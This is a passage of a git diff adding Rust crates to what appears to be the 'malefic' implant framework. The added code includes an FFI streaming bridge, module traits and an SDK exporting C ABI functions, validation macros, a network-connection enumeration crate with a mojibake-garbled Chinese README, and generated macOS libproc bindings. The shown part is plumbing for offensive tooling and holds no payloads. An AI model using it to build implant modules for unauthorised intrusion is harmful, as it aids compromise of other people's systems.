prost::Message; + let mut buf = Vec::new(); + request + .encode(&mut buf) + .map_err(|e| anyhow::anyhow!("encode error: {}", e))?; + Ok(buf) +} + +/// Decode a prost `Response` from bytes returned by foreign code. +pub fn decode_response(bytes: &[u8]) -> anyhow::Result { + use prost::Message; + Response::decode(bytes).map_err(|e| anyhow::anyhow!("decode error: {}", e)) +} + +// ── Streaming FFI bridge ──────────────────────────────────────────────────── + +/// Signature shared by all synchronous FFI handlers (C / Zig / Nim). +pub type HandlerFn = + unsafe extern "C" fn(c_uint, *const c_char, c_int, *mut *mut c_char, *mut c_int) -> c_int; + +/// Consume every `Request` from `receiver`, call `handler` for each one, +/// forward intermediate results through `sender`, and return the last result. +/// +/// This gives synchronous FFI handlers (C/Zig/Nim) multi-round streaming +/// capability without any changes to the foreign-language source code. +pub async fn ffi_run_loop( + id: u32, + receiver: &mut Input, + sender: &mut Output, + handler: HandlerFn, + handler_name: &str, +) -> ModuleResult { + use futures::StreamExt; + + let mut last_result: Option = None; + + while let Some(body) = receiver.next().await { + if let Body::Request(request) = body { + let req_buf = encode_request(&request)?; + + let mut resp_ptr: *mut c_char = std::ptr::null_mut(); + let mut resp_len: c_int = 0; + + let rc = unsafe { + handler( + id as c_uint, + req_buf.as_ptr() as *const c_char, + req_buf.len() as c_int, + &mut resp_ptr, + &mut resp_len, + ) + }; + + if rc != 0 { + return Err( + anyhow::anyhow!("{} failed (task {}, rc={})", handler_name, id, rc).into(), + ); + } + + let response = if !resp_ptr.is_null() && resp_len > 0 { + let buf = unsafe { FfiBuffer::new(resp_ptr, resp_len as usize) }; + decode_response(buf.as_bytes())? + } else { + if !resp_ptr.is_null() { + unsafe { ffi_free(resp_ptr) }; + } + Response::default() + }; + + let task_result = TaskResult::new_with_body(id, Body::Response(response)); + + // Forward the previous result as an intermediate message. + if let Some(prev) = last_result.take() { + let _ = sender.unbounded_send(prev); + } + last_result = Some(task_result); + } else { + break; + } + } + + last_result.ok_or_else(|| anyhow::anyhow!("module {} produced no output", handler_name).into()) +} diff --git a/malefic-crates/module/src/lib.rs b/malefic-crates/module/src/lib.rs new file mode 100644 index 0000000..e325f8e --- /dev/null +++ b/malefic-crates/module/src/lib.rs @@ -0,0 +1,142 @@ +pub mod r#macro; +pub mod prelude; + +#[cfg(feature = "ffi")] +pub mod ffi; + +#[cfg(feature = "ffi")] +pub mod abi; +#[cfg(feature = "ffi")] +pub mod codec; +#[cfg(feature = "ffi")] +pub mod module_sdk; + +use async_trait::async_trait; +use futures_channel::mpsc::{UnboundedReceiver, UnboundedSender}; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::Status; +use malefic_proto::proto::{implantpb, modulepb}; +use std::collections::HashMap; + +use malefic_gateway::ObfDebug; + +pub use malefic_common::errors::TaskError; + +pub type MaleficModule = dyn Module + Send + Sync + 'static; +pub type MaleficBundle = HashMap>; +pub type Output = UnboundedSender; +pub type Input = UnboundedReceiver; +pub type ModuleResult = anyhow::Result; + +#[derive(ObfDebug, Clone)] +pub struct TaskResult { + pub task_id: u32, + pub body: Body, + pub status: Status, +} + +impl TaskResult { + pub fn new(task_id: u32) -> Self { + TaskResult { + task_id, + status: Status { + task_id, + status: 0, + error: String::default(), + }, + body: Body::Empty(Default::default()), + } + } + + pub fn new_with_body(task_id: u32, body: Body) -> Self { + TaskResult { + task_id, + body, + status: Status { + task_id, + status: 0, + error: String::default(), + }, + } + } + + pub fn new_with_ack(task_id: u32, id: u32) -> Self { + TaskResult { + task_id, + status: Status { + task_id, + status: 0, + error: String::default(), + }, + body: Body::Ack(modulepb::Ack { + id, + success: true, + end: false, + }), + } + } + + pub fn new_with_error(task_id: u32, task_error: TaskError) -> Self { + TaskResult { + task_id, + body: Body::Empty(Default::default()), + status: Status { + task_id, + status: task_error.id(), + error: task_error.to_string(), + }, + } + } + + pub fn to_spite(&self) -> implantpb::Spite { + let mut spite = implantpb::Spite { + task_id: self.task_id, + r#async: true, + timeout: 0, + name: String::new(), + error: 0, + status: Some(self.status.clone()), + body: Some(self.body.clone()), + }; + if self.status.status != 0 { + spite.error = 6 + } + spite + } +} + +#[async_trait] +pub trait Module: ModuleImpl { + fn name() -> &'static str + where + Self: Sized; + fn new() -> Self + where + Self: Sized; + fn new_instance(&self) -> Box; + + /// Synchronous bridge: runs ModuleImpl::run() on a blocking thread. + /// + /// Default implementation panics. The `#[module_impl]` macro auto-generates + /// an override that uses a noop_waker poll loop to drive the async future. + /// + /// Called by the runtime's RtBridge inside `spawn_blocking`. + fn rt_run( + &mut self, + _id: u32, + _recv_channel: &mut Input, + _send_channel: &mut Output, + ) -> ModuleResult { + unimplemented!("rt_run not generated — missing #[module_impl] macro?") + } +} + +#[async_trait] +pub trait ModuleImpl { + async fn run( + &mut self, + id: u32, + recv_channel: &mut Input, + send_channel: &mut Output, + ) -> ModuleResult; +} diff --git a/malefic-crates/module/src/macro.rs b/malefic-crates/module/src/macro.rs new file mode 100644 index 0000000..2d99632 --- /dev/null +++ b/malefic-crates/module/src/macro.rs @@ -0,0 +1,81 @@ +#[macro_export] +macro_rules! check_request { + ($receiver:expr, $variant:path) => { + match futures::StreamExt::next($receiver).await { + Some($variant(request)) => Ok(request), + _ => Err($crate::TaskError::NotExpectBody), + } + }; +} + +#[macro_export] +macro_rules! check_field { + ($field:expr) => { + if $field.is_empty() { + Err($crate::TaskError::FieldRequired { + msg: stringify!($field).to_string(), + }) + } else { + Ok($field) + } + }; + ($field:expr, $len:expr) => { + if $field.len() != $len { + Err($crate::TaskError::FieldLengthMismatch { + msg: format!("{} expected length {}", stringify!($field), $len), + }) + } else { + Ok($field) + } + }; +} + +#[macro_export] +macro_rules! check_optional { + ($field:expr) => { + match $field { + Some(field) => Ok(field), + None => Err($crate::TaskError::FieldRequired { + msg: stringify!($field).to_string(), + }), + } + }; + ($field:expr, $len:expr) => { + if $field.len() != $len { + Err($crate::TaskError::FieldLengthMismatch { + msg: format!("{} expected length {}", stringify!($field), $len), + }) + } else { + Ok($field) + } + }; +} + +#[macro_export] +macro_rules! register_module { + ($map:expr, $feature:literal, $module:ty) => { + #[cfg(feature = $feature)] + { + let module_name = <$module as Module>::name(); + let module_instance = <$module as Module>::new(); + $map.insert(module_name.to_string(), Box::new(module_instance)); + } + }; +} + +#[macro_export] +macro_rules! to_error { + ($expr:expr) => { + $expr.map_err(|e| anyhow::Error::msg(format!("{:#?}", e))) + }; +} + +#[macro_export] +macro_rules! debug { + ($($arg:tt)*) => { + #[cfg(debug_assertions)] + { + println!($($arg)*); + } + }; +} diff --git a/malefic-crates/module/src/module_sdk.rs b/malefic-crates/module/src/module_sdk.rs new file mode 100644 index 0000000..00f8435 --- /dev/null +++ b/malefic-crates/module/src/module_sdk.rs @@ -0,0 +1,351 @@ +//! Module SDK for building cross-version module DLLs. +//! +//! Module authors implement [`RtModule`] for each module, then use +//! [`register_rt_modules!`] to generate the required C ABI exports. +//! +//! The module receives an [`RtChannel`] providing `send()`, `recv()`, and +//! `try_recv()` for full bidirectional streaming with the host. +//! +//! # Example +//! +//! ```rust,ignore +//! use malefic_runtime::module_sdk::*; +//! use malefic_proto::proto::implantpb::spite::Body; +//! use malefic_proto::proto::modulepb::Response; +//! +//! struct MyModule; +//! +//! impl RtModule for MyModule { +//! fn name() -> &'static str { "my_module" } +//! fn new() -> Self { Self } +//! fn run(&mut self, task_id: u32, ch: &RtChannel) -> RtResult { +//! let input = ch.recv()?; +//! // process... +//! ch.send(Body::Response(Response::default()))?; +//! RtResult::Done(Body::Empty(Default::default())) +//! } +//! } +//! +//! malefic_runtime::register_rt_modules!(MyModule); +//! ``` + +use crate::abi::{RtHostFreeFn, RtRecvFn, RtSendFn, RtTryRecvFn}; +use core::ffi::c_void; +use malefic_proto::proto::implantpb::spite::Body; + +// ── RtChannel ─────────────────────────────────────────────────────────────── + +/// Safe bidirectional channel for module ↔ host communication. +/// +/// Wraps the C ABI callback pointers in a safe Rust API. +/// Provided to modules in [`RtModule::run()`]. +pub struct RtChannel { + task_id: u32, + ctx: *mut c_void, + send_fn: RtSendFn, + recv_fn: RtRecvFn, + try_recv_fn: RtTryRecvFn, + host_free: RtHostFreeFn, +} + +// Safety: RtChannel is used only within a single rt_module_run call on one thread. +unsafe impl Send for RtChannel {} + +impl RtChannel { + /// Construct from raw C pointers. Called by macro-generated code. + /// + /// # Safety + /// All function pointers must be valid for the duration of the module's `run()`. + #[doc(hidden)] + pub unsafe fn from_raw( + task_id: u32, + ctx: *mut c_void, + send_fn: RtSendFn, + recv_fn: RtRecvFn, + try_recv_fn: RtTryRecvFn, + host_free: RtHostFreeFn, + ) -> Self { + Self { + task_id, + ctx, + send_fn, + recv_fn, + try_recv_fn, + host_free, + } + } + + /// Push a `Body` to the host (intermediate output). + /// + /// Returns `Err(Closed)` if the host has closed the output channel. + pub fn send(&self, body: Body) -> Result<(), RtChannelError> { + let bytes = crate::codec::encode_body(self.task_id, body); + let rc = unsafe { (self.send_fn)(self.ctx, bytes.as_ptr(), bytes.len() as u32) }; + if rc == 0 { + Ok(()) + } else { + Err(RtChannelError::Closed) + } + } + + /// Pull a `Body` from the host (blocking). + /// + /// Blocks until the host sends data. Returns `Err(Eof)` when no more + /// input will arrive (host closed the channel or task was cancelled). + pub fn recv(&self) -> Result { + let mut ptr: *mut u8 = core::ptr::null_mut(); + let mut len: u32 = 0; + let rc = unsafe { (self.recv_fn)(self.ctx, &mut ptr, &mut len) }; + if rc != 0 { + return Err(RtChannelError::Eof); + } + let result = self.decode_and_free(ptr, len); + result + } + + /// Non-blocking receive. + /// + /// Returns `Ok(Some(body))` if data is available, `Ok(None)` if no data + /// yet (would block), or `Err(Eof)` if the channel is permanently closed. + pub fn try_recv(&self) -> Result, RtChannelError> { + let mut ptr: *mut u8 = core::ptr::null_mut(); + let mut len: u32 = 0; + let rc = unsafe { (self.try_recv_fn)(self.ctx, &mut ptr, &mut len) }; + match rc { + 0 => self.decode_and_free(ptr, len).map(Some), + -1 => Ok(None), // would block + _ => Err(RtChannelError::Eof), // -2 = EOF + } + } + + fn decode_and_free(&self, ptr: *mut u8, len: u32) -> Result { + let bytes = unsafe { core::slice::from_raw_parts(ptr, len as usize) }; + let result = crate::codec::decode_spite(bytes); + unsafe { (self.host_free)(ptr, len) }; + match result { + Ok(spite) => spite.body.ok_or(RtChannelError::NoBody), + Err(e) => Err(RtChannelError::Decode(e.to_string())), + } + } +} + +// ── Error / Result types ──────────────────────────────────────────────────── + +/// Channel operation error. +#[derive(Debug)] +pub enum RtChannelError { + /// Host closed the output channel (send failed). + Closed, + /// No more input (recv returned EOF). + Eof, + /// Received a Spite with no Body. + NoBody, + /// Protobuf decode error. + Decode(String), +} + +impl core::fmt::Display for RtChannelError { + fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result { + match self { + Self::Closed => write!(f, "channel closed"), + Self::Eof => write!(f, "end of input"), + Self::NoBody => write!(f, "received spite with no body"), + Self::Decode(e) => write!(f, "decode error: {}", e), + } + } +} + +/// Module execution result. +pub enum RtResult { + /// Module completed successfully. Body is the final output. + Done(Body), + /// Module encountered an error. + Error(String), +} + +// Convenience: allow `ch.recv()?` to propagate into RtResult::Error +impl From for RtResult { + fn from(e: RtChannelError) -> Self { + RtResult::Error(e.to_string()) + } +} + +// ── RtModule trait ────────────────────────────────────────────────────────── + +/// Trait implemented by each runtime module. +/// +/// Unlike the host-side `Module` trait, this is fully synchronous and blocking. +/// The module controls its own execution flow via `channel.send()` / `recv()`. +pub trait RtModule: Send + 'static { + /// Module name (static string matching the command name). + fn name() -> &'static str + where + Self: Sized; + + /// Create a new instance. + fn new() -> Self + where + Self: Sized; + + /// Run the module with full bidirectional channel access. + /// + /// The module can: + /// - `channel.recv()` to pull input from the host (blocking) + /// - `channel.send()` to push output to the host + /// - `channel.try_recv()` to poll for input without blocking + /// - Return `RtResult::Done(body)` when finished + fn run(&mut self, task_id: u32, channel: &RtChannel) -> RtResult; +} + +// ── Type erasure (for macro internals) ────────────────────────────────────── + +#[doc(hidden)] +pub trait ErasedRtModule: Send { + fn run(&mut self, task_id: u32, channel: &RtChannel) -> RtResult; +} + +impl ErasedRtModule for T { + fn run(&mut self, task_id: u32, channel: &RtChannel) -> RtResult { + RtModule::run(self, task_id, channel) + } +} + +/// Descriptor for a registered module (used by the macro). +pub struct RtModuleDescriptor { + pub name_fn: fn() -> &'static str, + pub constructor: fn() -> Box, +} + +// ── Registration macro ────────────────────────────────────────────────────── + +/// Generate all required C ABI exports for a set of modules. +/// +/// Exports 7 `extern "C"` functions: `rt_abi_version`, `rt_module_count`, +/// `rt_module_name`, `rt_module_create`, `rt_module_destroy`, +/// `rt_module_run`, `rt_free`. +/// +/// Supports `#[cfg(...)]` on each module for conditional compilation: +/// ```ignore +/// register_rt_modules!( +/// #[cfg(feature = "pwd")] fs::pwd::Pwd, +/// #[cfg(feature = "whoami")] sys::whoami::Whoami, +/// ); +/// ``` +#[macro_export] +macro_rules! register_rt_modules { + ($($(#[$meta:meta])* $module:ty),+ $(,)?) => { + static _RT_MODULE_REGISTRY: &[$crate::module_sdk::RtModuleDescriptor] = &[ + $( + $(#[$meta])* + $crate::module_sdk::RtModuleDescriptor { + name_fn: <$module as $crate::module_sdk::RtModule>::name, + constructor: || { + Box::new(<$module as $crate::module_sdk::RtModule>::new()) + }, + }, + )+ + ]; + + #[no_mangle] + pub extern "C" fn rt_abi_version() -> u32 { + $crate::abi::RT_ABI_VERSION + } + + #[no_mangle] + pub extern "C" fn rt_module_count() -> u32 { + _RT_MODULE_REGISTRY.len() as u32 + } + + #[no_mangle] + pub extern "C" fn rt_module_name(index: u32) -> $crate::abi::RtBuffer { + if (index as usize) >= _RT_MODULE_REGISTRY.len() { + return $crate::abi::RtBuffer::empty(); + } + let name = (_RT_MODULE_REGISTRY[index as usize].name_fn)(); + $crate::abi::RtBuffer::from_vec(name.as_bytes().to_vec()) + } + + #[no_mangle] + pub extern "C" fn rt_module_create( + name_ptr: *const u8, + name_len: u32, + ) -> *mut $crate::abi::RtModuleHandle { + if name_ptr.is_null() || name_len == 0 { + return core::ptr::null_mut(); + } + let name = unsafe { + match core::str::from_utf8( + core::slice::from_raw_parts(name_ptr, name_len as usize) + ) { + Ok(s) => s, + Err(_) => return core::ptr::null_mut(), + } + }; + for desc in _RT_MODULE_REGISTRY.iter() { + if (desc.name_fn)() == name { + let module = (desc.constructor)(); + let boxed = Box::new(module); + return Box::into_raw(boxed) as *mut $crate::abi::RtModuleHandle; + } + } + core::ptr::null_mut() + } + + #[no_mangle] + pub extern "C" fn rt_module_destroy(handle: *mut $crate::abi::RtModuleHandle) { + if !handle.is_null() { + unsafe { + let _ = Box::from_raw( + handle as *mut Box + ); + } + } + } + + #[no_mangle] + pub extern "C" fn rt_module_run( + handle: *mut $crate::abi::RtModuleHandle, + task_id: u32, + ctx: *mut core::ffi::c_void, + send_fn: $crate::abi::RtSendFn, + recv_fn: $crate::abi::RtRecvFn, + try_recv_fn: $crate::abi::RtTryRecvFn, + host_free: $crate::abi::RtHostFreeFn, + final_out: *mut $crate::abi::RtBuffer, + ) -> $crate::abi::RtStatus { + use $crate::abi::{RtBuffer, RtStatus}; + + if handle.is_null() || final_out.is_null() { + return RtStatus::Error; + } + + let module = unsafe { + &mut *(handle as *mut Box) + }; + + let channel = unsafe { + $crate::module_sdk::RtChannel::from_raw( + task_id, ctx, send_fn, recv_fn, try_recv_fn, host_free, + ) + }; + + let (status, buf) = match module.run(task_id, &channel) { + $crate::module_sdk::RtResult::Done(body) => { + let bytes = $crate::codec::encode_body(task_id, body); + (RtStatus::Done, RtBuffer::from_vec(bytes)) + } + $crate::module_sdk::RtResult::Error(msg) => { + (RtStatus::Error, RtBuffer::from_vec(msg.into_bytes())) + } + }; + + unsafe { *final_out = buf; } + status + } + + #[no_mangle] + pub extern "C" fn rt_free(buf: $crate::abi::RtBuffer) { + unsafe { $crate::abi::rt_buffer_from_vec_free(buf); } + } + }; +} diff --git a/malefic-crates/module/src/prelude.rs b/malefic-crates/module/src/prelude.rs new file mode 100644 index 0000000..bfd26e5 --- /dev/null +++ b/malefic-crates/module/src/prelude.rs @@ -0,0 +1,8 @@ +pub use crate::{check_field, check_optional, check_request, debug, register_module, to_error}; +pub use crate::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskError, + TaskResult, +}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::implantpb::{Spite, Spites}; +pub use malefic_proto::proto::modulepb::Response; diff --git a/malefic-crates/net/Cargo.toml b/malefic-crates/net/Cargo.toml new file mode 100644 index 0000000..8c92a3c --- /dev/null +++ b/malefic-crates/net/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "malefic-net" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = { workspace = true } +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +windows = { workspace = true, features = [ + "Win32_Foundation", + "Win32_NetworkManagement_IpHelper", + "Win32_Networking_WinSock", +] } + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } +nix = { workspace = true } + +[target.'cfg(target_os = "macos")'.dependencies] +byteorder = { workspace = true } diff --git a/malefic-crates/net/README.md b/malefic-crates/net/README.md new file mode 100644 index 0000000..23ac0c4 --- /dev/null +++ b/malefic-crates/net/README.md @@ -0,0 +1,96 @@ +# malefic-net + +跨平å°ç½‘络连接枚举库,æä¾›ç»Ÿä¸€æŽ¥å£æŸ¥è¯¢ç³»ç»Ÿ Socket 连接与网络接å£ä¿¡æ¯ã€‚ + +## 功能简介 + +- 枚举系统所有活跃的 TCP/UDP 连接(IPv4 + IPv6) +- æŸ¥è¯¢æ¯æ¡è¿žæŽ¥çš„æœ¬åœ°/远程地å€ã€å议类型ã€PID åŠè¿žæŽ¥çŠ¶æ€ +- 查询网络接å£ä¿¡æ¯ï¼ˆç´¢å¼•ã€åç§°ã€MAC 地å€ã€IP 列表) +- å„å¹³å°ä½¿ç”¨åŽŸç”Ÿ API 实现,无外部命令ä¾èµ– + +## å¹³å°å®žçް + +| å¹³å° | å®žçŽ°æ–¹å¼ | 支æŒçš„åè®® | +|------|---------|-----------| +| Windows | `GetExtendedTcpTable` / `GetExtendedUdpTable` (Win32 API) | TCP, TCP6, UDP, UDP6 | +| Linux / Android | Netlink Socket(首选),`/proc/net/*` procfs(回退) | TCP, TCP6, UDP, UDP6, Unix | +| macOS | `sysctl` å†…æ ¸æŽ¥å£ | TCP, TCP6, UDP, UDP6 | + +## 核心数æ®ç»“æž„ + +```rust +/// ç½‘ç»œè¿žæŽ¥ä¿¡æ¯ +pub struct NetStat { + pub local_addr: String, // æœ¬åœ°åœ°å€ (ip:port) + pub remote_addr: String, // è¿œç¨‹åœ°å€ (ip:port) + pub protocol: String, // åè®®: tcp / tcp6 / udp / udp6 / unix + pub pid: String, // 所属进程 PID + pub sk_state: String, // 连接状æ€: ESTABLISHED / LISTEN / ... +} + +/// 网络接å£ä¿¡æ¯ +pub struct NetInterface { + pub index: u32, // 接å£ç´¢å¼• + pub name: String, // 接å£åç§° + pub mac: String, // MAC åœ°å€ + pub ips: Vec, // 绑定的 IP 地å€åˆ—表 +} +``` + +## 基本用法 + +```rust +use malefic_net::{get_netstat, get_network_interfaces}; + +// 枚举所有网络连接 +let connections = get_netstat().unwrap(); +for conn in &connections { + println!("[{}] {} -> {} (pid={}, state={})", + conn.protocol, conn.local_addr, conn.remote_addr, + conn.pid, conn.sk_state); +} + +// æŸ¥è¯¢ç½‘ç»œæŽ¥å£ +let interfaces = get_network_interfaces().unwrap(); +for iface in &interfaces { + println!("{}: mac={}, ips={:?}", iface.name, iface.mac, iface.ips); +} +``` + +底层 `get_sockets` å‡½æ•°æ”¯æŒæŒ‰å议过滤: + +```rust +// 仅查询 IPv4 TCP 连接 +let tcp_only = win::get_sockets( + true, // ipv4 + false, // ipv6 + true, // tcp + false, // udp +).unwrap(); +``` + +## TCP è¿žæŽ¥çŠ¶æ€ + +返回的 `sk_state` 字段对应标准 TCP çŠ¶æ€æœºï¼š + +| çŠ¶æ€ | 说明 | +|------|------| +| `LISTEN` | 等待连接 | +| `ESTABLISHED` | 已建立连接 | +| `SYN_SENT` | å·²å‘é€ SYN | +| `SYN_RCVD` | 已收到 SYN | +| `FIN_WAIT1` | 主动关闭,等待 FIN-ACK | +| `FIN_WAIT2` | 已收到 ACK,等待 FIN | +| `TIME_WAIT` | 等待超时关闭 | +| `CLOSE_WAIT` | 被动关闭,等待应用关闭 | +| `CLOSING` | åŒæ–¹åŒæ—¶å…³é—­ | +| `LAST_ACK` | 等待最终 ACK | +| `CLOSED` | 已关闭 | + +## å‚考链接 + +- [GetExtendedTcpTable (Win32)](https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-getextendedtcptable) +- [Linux Netlink SOCK_DIAG](https://man7.org/linux/man-pages/man7/sock_diag.7.html) +- [/proc/net/tcp æ ¼å¼è¯´æ˜Ž](https://www.kernel.org/doc/html/latest/networking/proc_net_tcp.html) +- [macOS sysctl 网络接å£](https://developer.apple.com/documentation/kernel/sysctl) diff --git a/malefic-crates/net/src/darwin/libproc_bindings.rs b/malefic-crates/net/src/darwin/libproc_bindings.rs new file mode 100644 index 0000000..6a39669 --- /dev/null +++ b/malefic-crates/net/src/darwin/libproc_bindings.rs @@ -0,0 +1,382 @@ +/* automatically generated by rust-bindgen 0.71.1 */ + +pub const PROC_ALL_PIDS: u32 = 1; +pub const PROC_PGRP_ONLY: u32 = 2; +pub const PROC_TTY_ONLY: u32 = 3; +pub const PROC_UID_ONLY: u32 = 4; +pub const PROC_RUID_ONLY: u32 = 5; +pub const PROC_PPID_ONLY: u32 = 6; +pub const PROC_KDBG_ONLY: u32 = 7; +pub const PROC_FLAG_SYSTEM: u32 = 1; +pub const PROC_FLAG_TRACED: u32 = 2; +pub const PROC_FLAG_INEXIT: u32 = 4; +pub const PROC_FLAG_PPWAIT: u32 = 8; +pub const PROC_FLAG_LP64: u32 = 16; +pub const PROC_FLAG_SLEADER: u32 = 32; +pub const PROC_FLAG_CTTY: u32 = 64; +pub const PROC_FLAG_CONTROLT: u32 = 128; +pub const PROC_FLAG_THCWD: u32 = 256; +pub const PROC_FLAG_PC_THROTTLE: u32 = 512; +pub const PROC_FLAG_PC_SUSP: u32 = 1024; +pub const PROC_FLAG_PC_KILL: u32 = 1536; +pub const PROC_FLAG_PC_MASK: u32 = 1536; +pub const PROC_FLAG_PA_THROTTLE: u32 = 2048; +pub const PROC_FLAG_PA_SUSP: u32 = 4096; +pub const PROC_FLAG_PSUGID: u32 = 8192; +pub const PROC_FLAG_EXEC: u32 = 16384; +pub const PROC_REGION_SUBMAP: u32 = 1; +pub const PROC_REGION_SHARED: u32 = 2; +pub const PROC_FP_SHARED: u32 = 1; +pub const PROC_FP_CLEXEC: u32 = 2; +pub const PROC_FP_GUARDED: u32 = 4; +pub const PROC_FP_CLFORK: u32 = 8; +pub const PROC_FI_GUARD_CLOSE: u32 = 1; +pub const PROC_FI_GUARD_DUP: u32 = 2; +pub const PROC_FI_GUARD_SOCKET_IPC: u32 = 4; +pub const PROC_FI_GUARD_FILEPORT: u32 = 8; +pub const PROC_KQUEUE_SELECT: u32 = 1; +pub const PROC_KQUEUE_SLEEP: u32 = 2; +pub const PROC_KQUEUE_32: u32 = 8; +pub const PROC_KQUEUE_64: u32 = 16; +pub const PROC_KQUEUE_QOS: u32 = 32; +pub const PROC_CHANNEL_TYPE_USER_PIPE: u32 = 0; +pub const PROC_CHANNEL_TYPE_KERNEL_PIPE: u32 = 1; +pub const PROC_CHANNEL_TYPE_NET_IF: u32 = 2; +pub const PROC_CHANNEL_TYPE_FLOW_SWITCH: u32 = 3; +pub const PROC_CHANNEL_FLAGS_MONITOR_TX: u32 = 1; +pub const PROC_CHANNEL_FLAGS_MONITOR_RX: u32 = 2; +pub const PROC_CHANNEL_FLAGS_MONITOR_NO_COPY: u32 = 4; +pub const PROC_CHANNEL_FLAGS_EXCLUSIVE: u32 = 16; +pub const PROC_CHANNEL_FLAGS_USER_PACKET_POOL: u32 = 32; +pub const PROC_CHANNEL_FLAGS_DEFUNCT_OK: u32 = 64; +pub const PROC_CHANNEL_FLAGS_LOW_LATENCY: u32 = 128; +pub const PROC_CHANNEL_FLAGS_MONITOR: u32 = 3; +pub const PROC_PIDLISTFDS: u32 = 1; +pub const PROC_PIDTASKALLINFO: u32 = 2; +pub const PROC_PIDTBSDINFO: u32 = 3; +pub const PROC_PIDTASKINFO: u32 = 4; +pub const PROC_PIDTHREADINFO: u32 = 5; +pub const PROC_PIDLISTTHREADS: u32 = 6; +pub const PROC_PIDREGIONINFO: u32 = 7; +pub const PROC_PIDREGIONPATHINFO: u32 = 8; +pub const PROC_PIDVNODEPATHINFO: u32 = 9; +pub const PROC_PIDTHREADPATHINFO: u32 = 10; +pub const PROC_PIDPATHINFO: u32 = 11; +pub const PROC_PIDPATHINFO_SIZE: u32 = 1024; +pub const PROC_PIDPATHINFO_MAXSIZE: u32 = 4096; +pub const PROC_PIDWORKQUEUEINFO: u32 = 12; +pub const PROC_PIDT_SHORTBSDINFO: u32 = 13; +pub const PROC_PIDLISTFILEPORTS: u32 = 14; +pub const PROC_PIDTHREADID64INFO: u32 = 15; +pub const PROC_PID_RUSAGE: u32 = 16; +pub const PROC_PID_RUSAGE_SIZE: u32 = 0; +pub const PROC_PIDFDVNODEINFO: u32 = 1; +pub const PROC_PIDFDVNODEPATHINFO: u32 = 2; +pub const PROC_PIDFDSOCKETINFO: u32 = 3; +pub const PROC_PIDFDPSEMINFO: u32 = 4; +pub const PROC_PIDFDPSHMINFO: u32 = 5; +pub const PROC_PIDFDPIPEINFO: u32 = 6; +pub const PROC_PIDFDKQUEUEINFO: u32 = 7; +pub const PROC_PIDFDATALKINFO: u32 = 8; +pub const PROC_PIDFDCHANNELINFO: u32 = 10; +pub const PROC_PIDFILEPORTVNODEPATHINFO: u32 = 2; +pub const PROC_PIDFILEPORTSOCKETINFO: u32 = 3; +pub const PROC_PIDFILEPORTPSHMINFO: u32 = 5; +pub const PROC_PIDFILEPORTPIPEINFO: u32 = 6; +pub const PROC_SELFSET_PCONTROL: u32 = 1; +pub const PROC_SELFSET_THREADNAME: u32 = 2; +pub const PROC_SELFSET_THREADNAME_SIZE: u32 = 63; +pub const PROC_SELFSET_VMRSRCOWNER: u32 = 3; +pub const PROC_SELFSET_DELAYIDLESLEEP: u32 = 4; +pub const PROC_DIRTYCONTROL_TRACK: u32 = 1; +pub const PROC_DIRTYCONTROL_SET: u32 = 2; +pub const PROC_DIRTYCONTROL_GET: u32 = 3; +pub const PROC_DIRTYCONTROL_CLEAR: u32 = 4; +pub const PROC_DIRTY_TRACK: u32 = 1; +pub const PROC_DIRTY_ALLOW_IDLE_EXIT: u32 = 2; +pub const PROC_DIRTY_DEFER: u32 = 4; +pub const PROC_DIRTY_LAUNCH_IN_PROGRESS: u32 = 8; +pub const PROC_DIRTY_DEFER_ALWAYS: u32 = 16; +pub const PROC_DIRTY_TRACKED: u32 = 1; +pub const PROC_DIRTY_ALLOWS_IDLE_EXIT: u32 = 2; +pub const PROC_DIRTY_IS_DIRTY: u32 = 4; +pub const PROC_DIRTY_LAUNCH_IS_IN_PROGRESS: u32 = 8; +pub const PROC_UDATA_INFO_GET: u32 = 1; +pub const PROC_UDATA_INFO_SET: u32 = 2; +pub const PROC_LISTPIDSPATH_PATH_IS_VOLUME: u32 = 1; +pub const PROC_LISTPIDSPATH_EXCLUDE_EVTONLY: u32 = 2; +pub const PROC_SETPC_NONE: u32 = 0; +pub const PROC_SETPC_THROTTLEMEM: u32 = 1; +pub const PROC_SETPC_SUSPEND: u32 = 2; +pub const PROC_SETPC_TERMINATE: u32 = 3; +pub const PROC_CSM_ALL: u32 = 1; +pub const PROC_CSM_NOSMT: u32 = 2; +pub const PROC_CSM_TECS: u32 = 4; +pub type __uint8_t = ::std::os::raw::c_uchar; +pub type __uint16_t = ::std::os::raw::c_ushort; +pub type __uint32_t = ::std::os::raw::c_uint; +pub type __int64_t = ::std::os::raw::c_longlong; +pub type __darwin_gid_t = __uint32_t; +pub type __darwin_off_t = __int64_t; +pub type __darwin_uid_t = __uint32_t; +pub type u_int32_t = ::std::os::raw::c_uint; +pub type u_char = ::std::os::raw::c_uchar; +pub type u_short = ::std::os::raw::c_ushort; +pub type gid_t = __darwin_gid_t; +pub type in_addr_t = __uint32_t; +pub type off_t = __darwin_off_t; +pub type uid_t = __darwin_uid_t; +pub type sa_family_t = __uint8_t; +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct sockaddr_un { + pub sun_len: ::std::os::raw::c_uchar, + pub sun_family: sa_family_t, + pub sun_path: [::std::os::raw::c_char; 104usize], +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct in_addr { + pub s_addr: in_addr_t, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub struct in6_addr { + pub __u6_addr: in6_addr__bindgen_ty_1, +} +#[repr(C)] +#[derive(Copy, Clone)] +pub union in6_addr__bindgen_ty_1 { + pub __u6_addr8: [__uint8_t; 16usize], + pub __u6_addr16: [__uint16_t; 8usize], + pub __u6_addr32: [__uint32_t; 4usize], +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct proc_fileinfo { + pub fi_openflags: u32, + pub fi_status: u32, + pub fi_offset: off_t, + pub fi_type: i32, + pub fi_guardflags: u32, +} +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct vinfo_stat { + pub vst_dev: u32, + pub vst_mode: u16, + pub vst_nlink: u16, + pub 